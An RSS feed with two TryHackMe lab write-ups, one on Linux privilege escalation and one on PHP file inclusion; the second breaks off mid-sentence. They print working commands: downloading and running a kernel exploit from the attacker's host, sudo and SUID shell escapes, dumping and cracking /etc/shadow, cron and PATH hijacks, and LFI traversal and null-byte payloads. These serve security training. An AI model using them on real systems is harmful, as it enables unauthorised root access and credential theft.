<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Riviru Eren</title>
    <description>The latest articles on DEV Community by Riviru Eren (@rvr_eren).</description>
    <link>https://dev.to/rvr_eren</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3867660%2F8f7a036b-fb83-4f11-9370-2b4e9dbc8d5a.jpeg</url>
      <title>DEV Community: Riviru Eren</title>
      <link>https://dev.to/rvr_eren</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/rvr_eren"/>
    <language>en</language>
    <item>
      <title>TryHackMe — Linux Privilege Escalation Writeup</title>
      <dc:creator>Riviru Eren</dc:creator>
      <pubDate>Wed, 08 Apr 2026 12:18:25 +0000</pubDate>
      <link>https://dev.to/rvr_eren/tryhackme-linux-privilege-escalation-writeup-3bn5</link>
      <guid>https://dev.to/rvr_eren/tryhackme-linux-privilege-escalation-writeup-3bn5</guid>
      <description>&lt;p&gt;&lt;strong&gt;Difficulty:&lt;/strong&gt; Medium | &lt;strong&gt;Path:&lt;/strong&gt; Jr. Penetration Tester&lt;/p&gt;




&lt;h2&gt;
  
  
  What is Privilege Escalation?
&lt;/h2&gt;

&lt;p&gt;Privilege escalation is when you go from a low level user on a system to a higher level one, usually root. In real pentesting you almost never land on a machine as root straight away. You get in as some low privilege user and then you have to find a way to get root access. That's where privesc comes in.&lt;/p&gt;

&lt;p&gt;There are two types you need to know:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Horizontal&lt;/strong&gt; means you move sideways to another user who has the same level of access as you. This can be useful to grab files or SUID binaries that belong to that user.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vertical&lt;/strong&gt; is what most people think of when they hear privilege escalation. You go from a normal user up to root or admin.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 1: Enumerate Everything First
&lt;/h2&gt;

&lt;p&gt;Before you try anything, you need to know what you're working with. These are the commands I run first thing every time:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;hostname
uname&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; /proc/version
&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/issue
ps aux
&lt;span class="nb"&gt;env
sudo&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/cron&lt;span class="k"&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;uname -a&lt;/code&gt; output is really important because it gives you the kernel version. An outdated kernel could mean there's a public exploit available for it. The &lt;code&gt;sudo -l&lt;/code&gt; command shows you what the current user is allowed to run as sudo, which is often where the easiest wins are.&lt;/p&gt;




&lt;h2&gt;
  
  
  Technique 1: Kernel Exploits
&lt;/h2&gt;

&lt;p&gt;If the kernel is old enough, there's probably a public exploit for it that can take you straight to root.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;uname&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt;
searchsploit linux kernel 4.x.x   &lt;span class="c"&gt;# replace with actual version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once you find a relevant exploit, host it from your machine and pull it onto the target:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On your machine&lt;/span&gt;
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 8000

&lt;span class="c"&gt;# On the target&lt;/span&gt;
wget http://YOUR_IP:8000/exploit.c
gcc exploit.c &lt;span class="nt"&gt;-o&lt;/span&gt; exploit
./exploit
&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you see &lt;code&gt;uid=0(root)&lt;/code&gt; after running &lt;code&gt;id&lt;/code&gt; then you're done.&lt;/p&gt;




&lt;h2&gt;
  
  
  Technique 2: Sudo Misconfigurations
&lt;/h2&gt;

&lt;p&gt;This is one of the first things I check. Run &lt;code&gt;sudo -l&lt;/code&gt; and see what comes up. If any binary is listed there, go to GTFOBins (&lt;a href="https://gtfobins.github.io" rel="noopener noreferrer"&gt;https://gtfobins.github.io&lt;/a&gt;) and look it up. There's almost always a way to abuse it.&lt;/p&gt;

&lt;p&gt;Some quick examples:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# find&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;find &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-exec&lt;/span&gt; /bin/sh &lt;span class="se"&gt;\;&lt;/span&gt; &lt;span class="nt"&gt;-quit&lt;/span&gt;

&lt;span class="c"&gt;# vim&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;vim &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'!sh'&lt;/span&gt;

&lt;span class="c"&gt;# awk&lt;/span&gt;
&lt;span class="nb"&gt;sudo awk&lt;/span&gt; &lt;span class="s1"&gt;'BEGIN {system("/bin/sh")}'&lt;/span&gt;

&lt;span class="c"&gt;# nmap (older versions)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"os.execute('/bin/sh')"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; shell.nse
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;--script&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;shell.nse
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Any of these will get you a root shell if that binary shows up in your &lt;code&gt;sudo -l&lt;/code&gt; output.&lt;/p&gt;




&lt;h2&gt;
  
  
  Technique 3: SUID Files
&lt;/h2&gt;

&lt;p&gt;SUID files run with the permissions of whoever owns them rather than whoever is running them. So if root owns a binary and it has the SUID bit set, it runs as root regardless of who executes it.&lt;/p&gt;

&lt;p&gt;Find them with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-04000&lt;/span&gt; &lt;span class="nt"&gt;-ls&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then take that list to GTFOBins and check each one. Common ones that are abusable include &lt;code&gt;base64&lt;/code&gt;, &lt;code&gt;find&lt;/code&gt;, &lt;code&gt;python&lt;/code&gt;, and &lt;code&gt;cp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;For example if &lt;code&gt;base64&lt;/code&gt; has SUID set, you can read any file on the system:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;base64&lt;/span&gt; /etc/shadow | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;--decode&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That lets you grab the shadow file which has the password hashes.&lt;/p&gt;




&lt;h2&gt;
  
  
  Technique 4: Cracking Passwords with John the Ripper
&lt;/h2&gt;

&lt;p&gt;Once you have the shadow file, you can crack the hashes offline.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Get the files&lt;/span&gt;
&lt;span class="nb"&gt;base64&lt;/span&gt; /etc/passwd | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;--decode&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; passwd.txt
&lt;span class="nb"&gt;base64&lt;/span&gt; /etc/shadow | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;--decode&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; shadow.txt

&lt;span class="c"&gt;# Combine them&lt;/span&gt;
unshadow passwd.txt shadow.txt &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; passwords.txt

&lt;span class="c"&gt;# Crack&lt;/span&gt;
john &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt passwords.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If any user has a weak password John will find it fast. You can then &lt;code&gt;su&lt;/code&gt; into that account or use the password to SSH in.&lt;/p&gt;




&lt;h2&gt;
  
  
  Technique 5: Cron Job Exploitation
&lt;/h2&gt;

&lt;p&gt;Cron jobs are scheduled tasks that run automatically at set times. The interesting ones are cron jobs that run as root but execute a script that you as a low privilege user can write to.&lt;/p&gt;

&lt;p&gt;Check what's scheduled:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/crontab
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/cron&lt;span class="k"&gt;*&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you find something like this running as root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;* * * * * &lt;span class="n"&gt;root&lt;/span&gt; /&lt;span class="n"&gt;opt&lt;/span&gt;/&lt;span class="n"&gt;backup&lt;/span&gt;.&lt;span class="n"&gt;sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And you can write to &lt;code&gt;/opt/backup.sh&lt;/code&gt;, just add a line to it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'chmod +s /bin/bash'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; /opt/backup.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wait for the cron to run, then:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;bash &lt;span class="nt"&gt;-p&lt;/span&gt;
&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Root shell.&lt;/p&gt;




&lt;h2&gt;
  
  
  Technique 6: PATH Hijacking
&lt;/h2&gt;

&lt;p&gt;If a SUID binary calls another program without using the full path (so it calls &lt;code&gt;ls&lt;/code&gt; instead of &lt;code&gt;/bin/ls&lt;/code&gt;), you can trick it into running your own version instead.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create a malicious binary in /tmp&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'/bin/bash'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /tmp/ls
&lt;span class="nb"&gt;chmod&lt;/span&gt; +x /tmp/ls

&lt;span class="c"&gt;# Prepend /tmp to PATH&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/tmp:&lt;span class="nv"&gt;$PATH&lt;/span&gt;

&lt;span class="c"&gt;# Run the SUID binary&lt;/span&gt;
./vulnerable_binary
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Since your &lt;code&gt;/tmp&lt;/code&gt; is checked first in PATH, it runs your fake &lt;code&gt;ls&lt;/code&gt; instead, which gives you a shell as root.&lt;/p&gt;




&lt;h2&gt;
  
  
  Technique 7: NFS Shares
&lt;/h2&gt;

&lt;p&gt;Check if there are any NFS shares with &lt;code&gt;no_root_squash&lt;/code&gt; set:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /etc/exports
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;no_root_squash&lt;/code&gt; means root on your attacking machine is treated as root on the target too. So you can mount the share, put a SUID binary on it, and run it on the target for a root shell.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# On your attacking machine&lt;/span&gt;
showmount &lt;span class="nt"&gt;-e&lt;/span&gt; TARGET_IP
&lt;span class="nb"&gt;mkdir&lt;/span&gt; /tmp/mount
mount &lt;span class="nt"&gt;-t&lt;/span&gt; nfs TARGET_IP:/share /tmp/mount

&lt;span class="c"&gt;# Create SUID binary&lt;/span&gt;
&lt;span class="nb"&gt;cp&lt;/span&gt; /bin/bash /tmp/mount/bash
&lt;span class="nb"&gt;chmod&lt;/span&gt; +s /tmp/mount/bash

&lt;span class="c"&gt;# On the target&lt;/span&gt;
/share/bash &lt;span class="nt"&gt;-p&lt;/span&gt;
&lt;span class="nb"&gt;id&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Tools Worth Knowing
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;LinEnum.sh&lt;/strong&gt; does automated enumeration and saves a lot of time. Download it from GitHub and run it on the target to get a full picture of what's exploitable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GTFOBins&lt;/strong&gt; is essential. Any time you find a binary you can abuse, this site tells you exactly how.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;John the Ripper&lt;/strong&gt; is your go-to for cracking hashes once you have them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;searchsploit&lt;/strong&gt; lets you search the local exploit database without needing internet on the target.&lt;/p&gt;




&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;The biggest lesson from this room is that privilege escalation is about patience and thoroughness. You run your enumeration commands, you go through the output carefully, and eventually something sticks out. It's rarely glamorous but it's one of the most important skills you can have as a pentester.&lt;/p&gt;

&lt;p&gt;If you haven't done this room yet, go do it. It covers everything you need for CTFs and is basically required knowledge for OSCP.&lt;/p&gt;

&lt;p&gt;Room link: &lt;a href="https://tryhackme.com/room/linprivesc" rel="noopener noreferrer"&gt;https://tryhackme.com/room/linprivesc&lt;/a&gt;&lt;/p&gt;

</description>
      <category>tryhackme</category>
      <category>tutorial</category>
      <category>beginners</category>
      <category>security</category>
    </item>
    <item>
      <title>Try Hack Me — File Inclusion</title>
      <dc:creator>Riviru Eren</dc:creator>
      <pubDate>Wed, 08 Apr 2026 11:52:17 +0000</pubDate>
      <link>https://dev.to/rvr_eren/try-hack-me-file-inclusion-5gj0</link>
      <guid>https://dev.to/rvr_eren/try-hack-me-file-inclusion-5gj0</guid>
      <description>&lt;h3&gt;
  
  
  Why do file inclusion vulnerabilities happen?
&lt;/h3&gt;

&lt;p&gt;File inclusion bugs usually come from &lt;strong&gt;bad input validation&lt;/strong&gt;. Web apps (often in languages like PHP) take a filename from user input and use it directly to open or include a file. If the app doesn’t check or sanitize that input, an attacker can control which file gets loaded — and that leads to the vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key causes&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;User-supplied filenames or paths are used directly.&lt;/li&gt;
&lt;li&gt;No allowlist of allowed files or extensions.&lt;/li&gt;
&lt;li&gt;Dangerous server settings (e.g., remote file includes enabled).&lt;/li&gt;
&lt;li&gt;Poor error handling that helps attackers probe the app.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  What’s the risk?
&lt;/h3&gt;

&lt;p&gt;If exploited, file inclusion can let an attacker:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Leak sensitive files&lt;/strong&gt; (source code, config files, credentials).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Read system files&lt;/strong&gt; (/etc/passwd, logs, etc.).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Combine with other bugs&lt;/strong&gt; (like an upload flaw) to achieve remote code execution (RCE).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Escalate access&lt;/strong&gt; if the web process can read secrets used elsewhere.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because these vulnerabilities expose server-side data and can lead to full compromise, they’re high-risk and should be fixed immediately.&lt;/p&gt;




&lt;h3&gt;
  
  
  Challenges
&lt;/h3&gt;

&lt;p&gt;Firstly visit the given link and reach the desired website.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3osndbgtgeixdbmfxahi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3osndbgtgeixdbmfxahi.png" width="800" height="402"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Path Traversal is skipped here as the answer can be found easily by reading the content given at THM.&lt;/p&gt;

&lt;h4&gt;
  
  
  &lt;strong&gt;Local File Inclusion — LFI&lt;/strong&gt;
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Lab 1&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8liyq5ikd3d06j63brag.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8liyq5ikd3d06j63brag.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Upon reaching the Lab 1 page we are met with a form that can be used to give an input. Lets try by passing &lt;strong&gt;etc/passwd&lt;/strong&gt; through it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6aae9agihum9cuscy1rg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6aae9agihum9cuscy1rg.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We are given back a response with errors. These errors reveal some crucial details. &lt;em&gt;include(etc/passwd)&lt;/em&gt; shows that the whole input is passed through without any filtering or sanitation. And the error also reveals the web directory as &lt;em&gt;var/www/html/lab1.php.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;So if we pass the value &lt;strong&gt;&lt;em&gt;../../../../etc/passwd&lt;/em&gt;&lt;/strong&gt; we should get back the passwd file content.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;../../../../etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe4xlf0a60c9j8yaspz4p.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe4xlf0a60c9j8yaspz4p.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The flag for the question asks what the request URI would be for &lt;strong&gt;etc/passwd.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;So press inspect -&amp;gt; Network and again pass &lt;strong&gt;etc/passwd&lt;/strong&gt; through the form and watch for the first entry containing the request made.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd2q95ey1ws1chz9r8bof.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd2q95ey1ws1chz9r8bof.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can see the answer for Q1 under the file categeory of the first entry.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/lab1.php?file=/etc/passwd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Lab 2
&lt;/h4&gt;

&lt;p&gt;Go back to home and press on Lab 2&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F065ze9nc3t6a3vtcpox1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F065ze9nc3t6a3vtcpox1.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In this lab we are given that the developer has decided to specify the directory within the function as&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?PHP&lt;/span&gt;   
 &lt;span class="k"&gt;include&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"languages/"&lt;/span&gt;&lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'lang'&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;   
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When we try to pass &lt;em&gt;etc/passwd&lt;/em&gt; through this lab we get an error as follows.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj3xc96cofwv5ixscvkra.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fj3xc96cofwv5ixscvkra.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can see that the request has been changed to (&lt;em&gt;includes/etc/passwd)&lt;/em&gt; so the answer for Q2 is the word “&lt;strong&gt;includes&lt;/strong&gt;” as it is the directory specified by the developer as we can see by it being added infront of the path we entered.&lt;/p&gt;

&lt;h4&gt;
  
  
  Lab 3
&lt;/h4&gt;

&lt;p&gt;Quick Summary :-&lt;/p&gt;

&lt;p&gt;When you don’t have the source code (black-box testing), error messages are gold. They often show how the app builds file paths and where files live.&lt;/p&gt;

&lt;p&gt;Example entry point:&lt;/p&gt;

&lt;p&gt;&lt;a href="http://webapp.thm/index.php?lang=EN" rel="noopener noreferrer"&gt;&lt;strong&gt;http://webapp.thm/index.php?lang=EN&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you send a bogus value like THM, the app returns:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Warning: include(languages/THM.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This error reveals three useful things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The app calls include(“languages/.php”).&lt;/li&gt;
&lt;li&gt;Files live in a languages folder and end with .php.&lt;/li&gt;
&lt;li&gt;The full server path is /var/www/html/THM-4/.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Knowing the app appends .php means a straight directory traversal like:&lt;/p&gt;

&lt;p&gt;&lt;a href="http://webapp.thm/index.php?lang=../../../../etc/passwd" rel="noopener noreferrer"&gt;&lt;strong&gt;http://webapp.thm/index.php?lang=../../../../etc/passwd&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;fails&lt;/strong&gt;, because the server tries to open languages/../../../../etc/passwd.php (which doesn’t exist).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Null byte trick (%00)&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A classic bypass is the null byte (URL-encoded as %00), which terminates a string early in some C-based string handlers. If the app naively concatenates “.php” after your input, an input such as:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;../../../../etc/passwd%00&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;can make the include evaluate as:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;include(“languages/../../../../etc/passwd%00”).”.php”);&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;→ treated as include(“languages/../../../../etc/passwd”);&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That lets you read /etc/passwd via the include.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Important note: the null-byte trick was patched — it does not work on PHP 5.3.4 and newer.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q3&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq5q8g4vidubz2vnjcczo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq5q8g4vidubz2vnjcczo.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If we pass &lt;strong&gt;etc/passwd&lt;/strong&gt; we are given an error.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6v4ejsiuvwykbsa5aa2s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6v4ejsiuvwykbsa5aa2s.png" width="800" height="500"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The code appends .php to the end and the developer has also defined a directory hence our path is changed into an invalid path as&lt;/p&gt;

